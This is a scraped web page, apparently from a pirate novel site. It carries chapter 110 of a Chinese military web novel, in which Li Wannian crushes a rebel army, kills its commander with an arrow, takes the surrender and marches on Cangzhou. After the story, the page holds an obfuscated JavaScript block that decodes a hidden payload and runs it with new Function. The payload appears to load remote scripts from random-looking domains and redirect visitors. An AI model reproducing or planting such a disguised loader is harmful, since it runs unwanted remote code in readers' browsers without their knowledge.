首页
第110章 兵贵神速
返回

第110章 兵贵神速

章节报错(免登陆)

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    城下,已然是一片人间炼狱。
    箭雨倾盆,带着尖锐的呼啸,无情地收割着生命。
    那些刚刚还气势汹汹的叛军步卒,紧随骑兵之后冲锋,此刻却被前方陷入混乱的骑兵堵住了去路,进退维谷,彻底成了城头弓箭手的活靶子。
    惨叫声、哀嚎声、濒死的嘶吼声,汇成了一曲绝望的交响。
    中军位置,张敬那张志在必得的脸,早已扭曲得不成样子。
    “盾牌!举盾!给老子顶住!”
    他声嘶力竭地咆哮着,在箭矢的破空声中显得那么苍白无力。
    然而,没用!
    整个阵型已经彻底乱了。
    前面的士兵想后退,后面的士兵被督战队逼着往前挤。
    人踩人,人挤人。
    别说举起盾牌组成有效的防御,许多人连转身的空间都没有,就被从天而降的利箭贯穿了身体,带着不甘和恐惧,倒在同伴的脚下。
    鲜血,很快就将这片土地浸染成了暗红色。
    城墙之上。
    李万年面无表情地看着城下这场单方面的屠杀,那双眼眸里,没有半点波澜。
    他没有下令出城追击。
    因为他知道,还不到时候。
    这些叛军虽然乱了,但人数终究是优势,狗急了还会跳墙。
    现在冲出去,只会陷入不必要的缠斗,造成己方的伤亡。
    他要做的,就是用最廉价的箭矢,最大程度地消耗敌人的有生力量和战斗意志。
    “侯爷!这帮孙子快顶不住了!”
    李二牛提着刀,在旁边兴奋地直跺脚,那双牛眼瞪得溜圆。
    “您下令吧!俺带人冲出去,保证把那个姓张的狗头拧下来当夜壶!”
    李万年没有理他。
    他的目光,如同鹰隼,死死锁定在叛军阵中那个拼命挥舞着佩刀,试图重整阵型的身影上。
    张敬。
    只要这条最大的鱼还在,鱼群就不会彻底散掉。
    “传令弓箭手,三轮抛射,覆盖中军!”
    李万年冰冷的声音响起。
    “是!”
    令旗挥动。
    城头上的弓箭手立刻调整了角度。
    “放!”
    嗡!
    数百张弓弦同时震动。
    一片更加密集的箭雨,带着死亡的呼啸,越过混乱的前军,精准地朝着中军的位置笼罩而去!
    “将军小心!”
    张敬身边的亲卫们大惊失色,纷纷举起盾牌,将他死死护在中间。
    噗!噗!噗!
    利箭攒射在盾牌上,发出沉闷的声响。
    虽然张敬本人毫发无伤,但他周围的士兵却遭了殃。
    箭雨覆盖之下,惨叫连连。
    他眼睁睁地看着自己身边的士兵,如同被割倒的麦子一样,成片成片地倒下。
    恐惧,如同冰冷的潮水,终于淹没了张敬最后一丝侥幸。
    他怕了。
    他彻底怕了。
    “撤!撤退!全军撤退!”
    张敬发出了绝望的嘶吼,声音里都带上了颤腔。
    然而,李万年怎么可能给他这个机会?
    “时机,到了。”
    李万年缓缓吐出四个字。
    他转过头,先是看向一旁的赵良生。
    “良生,你带着三千北营兵和五千辅兵,从侧门离开,向敌人的侧后放袭去,造成数面合围之势。”
    “是。”
    赵良生领命,立刻离开。
    李万年这才看向一旁早已急不可耐的李二牛。
    “二牛。”
    “末将在!”
    “带你的人,从城门出去。”
    李万年的声音平静得可怕。
    “记住,你们是凿子,不是刀。”
    “不要冲杀,结成方阵,把他们的阵型,给我彻底凿穿,让他们组织不了阵型。!”
    “嘿嘿!侯爷,俺懂了!”
    李二牛咧开大嘴,露出一个狰狞的笑容。
    “您就瞧好吧!”
    他跑下城墙,很快,一千个手持重盾、腰挎环首刀的精锐刀盾手,集结完毕。
    “嘎吱——”
    那扇原本半开着的城门,在沉闷的声响中,被缓缓推开。
    一股浓郁的血腥味,混杂着死亡的气息,扑面而来。
    “兄弟们!”
    李二牛站在队伍的最前方,用刀背重重地敲击着自己的盾牌,发出“当当”的巨响。
    “跟着俺!”
    “给城外那帮龟孙子,送上一份大礼!”
    “杀!”
    一声爆喝!
    李二牛第一个冲出了城门。
    他身后的一千个刀盾手,紧随其后,组成一个厚重的方形军阵,如同一块黑色的巨石,义无反顾地撞进了城下那片混乱的人潮之中!
    “轰!”
    方阵如同一把烧红的铁凿,狠狠地凿进了叛军那早已混乱不堪的阵型里!
    叛军们被这突如其来的冲击,撞得人仰马翻。
    他们本就归心似箭,此刻被这支突然杀出的生力军一冲,更是彻底失去了方向。
    “凿穿!给老子凿穿他们!”
    李二牛怒吼着,将手中的重盾死死地顶在身前。
    他身后的士兵们,有样学样,肩并着肩,盾连着盾,组成了一道不可逾越的钢铁壁垒。
    他们不主动攻击。
    只是不停地向前挤压,推搡!
    叛军的刀砍在他们的重盾上,只能迸溅出点点火星。
    而他们每一次整齐划一地向前推进,都会将数十名叛军士兵挤倒在地,然后被后面的人活活踩死!
    混乱在加剧。
    恐慌在蔓延。
    前有凿不穿的盾阵,中有天上落下的催命箭雨,侧后方又有混乱中涌出的北营兵马!
    叛军的士气,在这一刻,彻底崩了!
    “完了!我们完了了!”
    “别挤了!别踩我!”
    “我投降!我投降啊!”
    哭喊声,求饶声,彻底取代了战斗的呐喊。
    数千人的军队,在这一刻,由于一连串的指挥失误,变成了一群待宰的羔羊。
    张敬骑在马上,看着眼前这幅景象,手脚冰凉,浑身抖得如同筛糠。
    大势已去!
    他脑子里只剩下这四个字。
    跑!
    必须跑!
    他再也顾不上什么大军,什么将领的尊严。
    调转马头,狠狠一抽马臀,带着身边仅剩的几十个亲卫,推开挡路的溃兵,朝着后方没被堵死的一个缺口,仓皇逃窜。
    只要能逃回沧州!
    只要能活下去!
    他还有机会!
    然而。
    城墙之上,那双冰冷的眼睛,早已将他的一举一动,看得清清楚楚。
    “想跑?”
    李万年的嘴角,勾起一抹残酷的弧度。
    他从身旁的亲兵手中,取过那张三石铁胎弓。
    弓身入手,一股沉甸甸的质感传来。
    他没有立刻开弓,而是偏过头,看了一眼身旁的王青山。
    王青山正在指挥弓箭手,看到李万年递过来的眼神,心领神会。
    他立刻取下自己的长弓,搭上一支羽箭,瞄准了远处那个正在疯狂逃窜的身影。
    “咻!”
    弓弦震响!
    一支利箭破空而去,在夜色中划出一道笔直的黑线!
    正在纵马狂奔的张敬,只觉得头顶一阵恶风掠过!
    那支箭,擦着他的头皮飞了过去,削断了他几缕头发,让他惊出了一身冷汗!
    他下意识地缩了缩脖子,回头看了一眼。
    城墙上火光摇曳,看不真切。
    劫后余生的庆幸,让他心中甚至生出几分嘲弄。
    李万年啊李万年,就凭你,也想留下我!
    然而,就在他这个念头刚刚升起的瞬间。
    一股让他灵魂都为之战栗的恐怖危机感,猛地从背后袭来!
    他甚至来不及做出任何反应。
    “噗嗤!”
    一声轻微却致命的声响。
    他感觉自己的脖子,好像被一根烧红的铁棍,狠狠地捅穿了!
    剧痛,瞬间传遍全身!
    他张了张嘴,却发不出任何声音,只有鲜血,从他的嘴里和脖颈的伤口处,疯狂地涌出。
    一股巨大的力量,从箭杆上传来,将他整个人,直接从飞驰的马背上,狠狠地带飞了出去!
    “砰!”
    他的身体,重重地摔在地上,在惯性的作用下翻滚了几圈,才停了下来。
    他最后看到的景象。
    是那面在夜风中猎猎作响的北营战旗。
    还有战旗之下,那个如同神魔般,缓缓放下长弓的年轻身影。
    他到死,都瞪着那双充满了不甘与惊恐的眼睛。
    主将,阵亡!
    这血腥而震撼的一幕,被所有还在逃窜和挣扎的叛军,看得清清楚楚。
    时间,在这一刻好像停滞了。
    喧嚣的战场,诡异地安静了一瞬。
    所有人的目光,都集中在了那具被一支利箭死死钉在地上的尸体上。
    他们最后的希望,最后的支柱。
    没了。
    “哐当!”
    不知道是谁,第一个扔掉了手中的兵器。
    这个声音,就像一个信号。
    “哐当!”
    “哐当!哐当!”
    兵器落地的声音,此起彼伏,连成了一片。
    数千名叛军士兵,全都丢掉了武器,绝望地跪倒在地,高高地举起了双手。
    “别杀了!我们投降!”
    “我们降了!”
    山呼海啸般的投降声,响彻了整个河间郡的夜空。
    城墙上,李万年面无表情地看着城下那黑压压跪倒一片的降兵,缓缓放下了手中的铁胎弓。
    他身旁的王青山,虽然早就见识过侯爷箭术的恐怖,但此刻还是露出一脸惊讶之色。
    他射出的那箭,虽然准头是有的,但力度已经不够了,就算真射中了张敬的脑袋,也带不走他的命。
    但是侯爷的箭,后发而至,不仅射中了,而且是直接贯穿了咽喉!
    这份箭术!
    这份力道!
    不管看多少次,都让人深深的震撼。
    李万年没有看他,只是将目光投向了那些跪地投降的叛军。
    随后转头对着身旁的传令兵,下达了最后的命令。
    “传令下去。”
    “受降!”
    ……
    河间郡的城墙上,火把熊熊燃烧,将夜空映照得一片通红。
    浓重的血腥味,顺着夜风,飘散出很远很远。
    李万年站在城头,俯瞰着城下黑压压跪倒一片的降兵。
    胜利的喧嚣渐渐平息,取而代之的,是战后清点战果的忙碌。
    这一战,堪称大获全胜。
    李二牛带着人,兴奋地在战场上来回奔跑,清点着战果。
    “侯爷!侯爷!发了!咱们又发了!”
    他提着一个叛军将领的头盔,满脸红光地冲上城楼,嗓门洪亮得能震掉城墙上的砖石。
    “咱们这边,伤亡加起来还不到三百人!可城下这帮孙子,被咱们干掉了快一千,剩下的,五千多个,全降了!”
    “还有那些军械粮草,堆得跟小山似的!这下咱们又发了一笔横财!”
    李二牛说得手舞足蹈,唾沫横飞,那兴奋劲儿,怎么也藏不住。
    李万年只是平静地点了点头,脸上的表情没什么变化。
    这点战果,还在他的预料之中。
    他关心的是另一件事。
    “把那些降卒,全都给我打散了!”
    李万年下令道。
    “让北营的老兵,一个带十个,再给我夹十个辅兵,给我把降兵看紧了!晚上睡觉都得睁着一只眼!”
    “另外,明天开始,所有降卒都得给老子上上课,宣宣讲!”
    “让这些人能尽快融进咱们。”
    “至于那些冥顽不灵,还想着燕王的顽固分子,都给我挑出来,单独看管!”
    李二生的嘴角勾起一抹弧度,补充道。
    “正好,新一轮的军屯要开始了,他们可以去那里,为河间郡的建设,发光发热。”
    “是!”
    王青山立刻领命。
    他知道,侯爷这是要用攻心之计,彻底将这些叛军士兵,转化成自己的力量。
    就在这时,一身官服被汗水浸透的太守刘宗元,疾步跑上了城楼。
    他一看到李万年,立刻拱手作揖,脸上堆满了敬畏。
    “侯爷!神人!您真是神人啊!”刘宗元声音带着抑制不住的激动。
    “六千叛军啊!您就这么谈笑间,让他们灰飞烟灭了!此等神威,下官生平仅见!”
    “下官对您的敬仰,实难言表!能追随侯爷,是下官的福分!”
    他语气诚恳,躬身更深。
    这位太守大人,是彻底被李万年的雷霆手段给震慑,也彻底看清了形势。
    抱紧这条粗得不能再粗的大腿,才是唯一的活路!
    李万年看着他这副样子,倒也没有往外推。
    “行了,本侯知道了,起来吧。”
    “以后,河间郡的民生政务,你主抓;大军的后勤粮草,你也负责。干好了,本侯重重有赏。”
    “多谢侯爷!多谢侯爷!”刘宗元连声应诺,恭敬地站在一旁,活脱脱一个忠心耿耿的老管家。
    审讯工作,很快就开始了。
    那个在战场上被张敬喝骂,险些被当成逃兵砍了的副将,被带到了李万年的面前。
    这家伙倒是光棍得很,没等用刑,就把自己知道的全都倒了出来,只求能留一条活路。
    “你说……沧州城内,现在守军不足一千?”
    李万年听完他的供述,眼睛微微眯了起来。
    那副将点头如捣蒜。
    “千真万确!张敬那个蠢货,为了抢功,把沧州能打的兵,全都带出来了!”
    “现在城里剩下的,都是些老弱病残,还有些新招的民夫,连刀都拿不稳!城防空虚得就跟脱光了衣服的小媳妇一样!”
    他说完,还小心翼翼地看了李万年一眼。
    “侯爷,小的……小的都说了,您看……”
    “拖下去,关起来。”
    李万年摆了摆手,懒得再看他。
    等到副将被带走,书房里只剩下李万年和他的几个心腹大将。
    所有人的呼吸,都有些急促。
    一个无比诱人的机会,摆在了所有人的面前。
    沧州!
    燕王在北方的另一座重城!
    此刻,正像一个不设防的美人,躺在那里,等待着征服!
    一个无比大胆的念头,在李万年的心中,疯狂滋生!
    趁他病,要他命!
    “传我将令!”
    李万年猛地一拍桌案,站起身,目光如电,扫过在场每一个人。
    “全军修整一日!明日,发兵沧州!”
    “什么?!”
    此言一出,满堂皆惊!
    “打!打他娘的!”
    李二牛第一个跳了起来,兴奋得满脸涨红。
    “侯爷英明!咱们就该趁热打铁,一鼓作气,把燕王那老小子的裤衩都给扒了!”
    然而,王青山却皱起了眉头,上前一步,脸上带着担忧。
    “侯爷,三思啊!”
    “我们刚经历一场大战,虽然赢了,但弟兄们都已是人困马乏。而且,新兵和降卒的整编才刚刚开始,他们……他们还没完全形成战斗力啊!”
    “现在就去攻打沧州这样的坚城,是不是……太冒险了?”
    王青山的话,让一些头脑发热的将领也冷静了下来。
    是啊,他们手里的兵,毕竟底子太薄。
    “冒险?”
    李万年笑了。
    他走到地图前,手指重重地点在了沧州的位置上。
    “兵贵神速!”
    “你们以为,燕王是傻子吗?张敬全军覆没的消息,用不了几天就会传到他的耳朵里!”
    “一旦他反应过来,从京城前线抽调一支精锐回援,或者朝廷的军队嗅到味道赶过来,我们这点人,够谁塞牙缝的?”
    “到时候,可就不是我们说了算了!”
    “现在,才是我们唯一的机会!是老天爷赏饭吃!”
    李万年的声音,掷地有声,每一个字都敲在众人的心上。
    “这一仗,打的不是实力,是时间差!”
    “我要在所有人反应过来之前,以迅雷不及掩耳之势,拿下沧州!彻底斩断燕王的一条臂膀!”
    看着众将那依旧有些犹豫的眼神,李万年知道,他必须下一剂猛药。
    他深吸一口气,开始做出具体的部署。
    “我意已决!”
    “我将亲率四千主力北上!这四千人,由三千北营新兵,和一千名挑选出来的降卒精锐混编而成!”
    他顿了顿,目光转向李二牛。
    “二牛!”
    “末将在!”
    李二牛挺直了胸膛。
    “你留下!”
    “啊?”
    李二牛脸上的兴奋瞬间垮掉,跟霜打的茄子一样。
    “侯爷,为啥啊?俺也要去打沧州!”
    “闭嘴!”
    李万年眼睛一瞪。
    “给你个更重要的任务!你和刘太守,给我守好河间郡这个家!”
    “剩下所有的新兵和降卒,都交给你!给我玩命地练!我回来的时候,要看到一支能打仗的兵!”
    “河间郡现在是我们目前的根!这里要是丢了,我们就少了个稳定的立足点!你明不明白?!”
    李二牛被吼得一愣一愣的,虽然心里一百个不乐意,但还是重重地点了点头。
    “侯爷放心!只要俺在,河间郡就在!”
    安排好了一切,李万年不再废话。
    第二天,天刚蒙蒙亮。
    一支经过整编,精神面貌焕然一新的大军,便悄无声息地离开了河间郡,如同黑色的潮水,向着北方的沧州,席卷而去!
    日夜兼程,人歇马不歇!
    所有士兵都憋着一股劲,他们要在最短的时间内,兵临城下!
    仅仅三天!
    当李万年率领的四千大军,出现在沧州城下时。
    那高耸的城墙之上,甚至连像样的防御都没有组织起来。
    几个负责瞭望的守兵,看到城下那黑压压的军队,和那杆在风中猎猎作响的“李”字大旗时,吓得差点从城楼上直接跳下去。
    “敌……敌袭!是李万年!李万年的大军打过来了!”
    惊恐的尖叫声,在城头之上,疯狂地回荡!
    此时,沧州府衙之内。
    临时接管了城防的通判赵德才,正搂着新纳的小妾,睡得口水直流。
    他被外面巨大的喧哗声吵醒,正要发火。
    一个家丁连滚带爬地冲了进来,声音抖得不成样子。
    “大……大人!不好了!”
    “李……李万年……他……他打过来了!”
    “什么李万年张万年的?”
    赵德才迷迷糊糊地坐起身,不耐烦地骂道。
    然而,当他彻底清醒过来,听清楚家丁的话之后。
    “你说谁?!”
    赵德才脸上的血色,“唰”的一下,褪得干干净净。
    他手忙脚乱地穿上官服,甚至连官帽都戴歪了,连滚带爬地冲向城楼。
    当他扶着墙垛,哆哆嗦嗦地探出头,看到城下那望不到边的军阵,和那杆如同催命符一般的“李”字大旗时。
    赵德才只觉得眼前一黑,两腿发软,一股热流不受控制地顺着裤管就流了下去。
    完了!
    张敬将军不是带兵去打他了吗?
    怎么他反倒打到我们家门口来了?!
    城下,李万年骑在马上,发动【鹰眼】,将城楼上那群慌乱如没头苍蝇的守军,看得一清二楚。
    他甚至能清晰地看到那个穿着通判官服的胖子,裤裆下面,正滴滴答答地往下漏着不明液体。
    李万年的嘴角,露出一抹冷酷的笑意。
    他缓缓举起了手中的霸王枪,枪尖直指城楼!
    “传我将令!”
    冰冷的声音,响彻全军。
    “攻城!”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();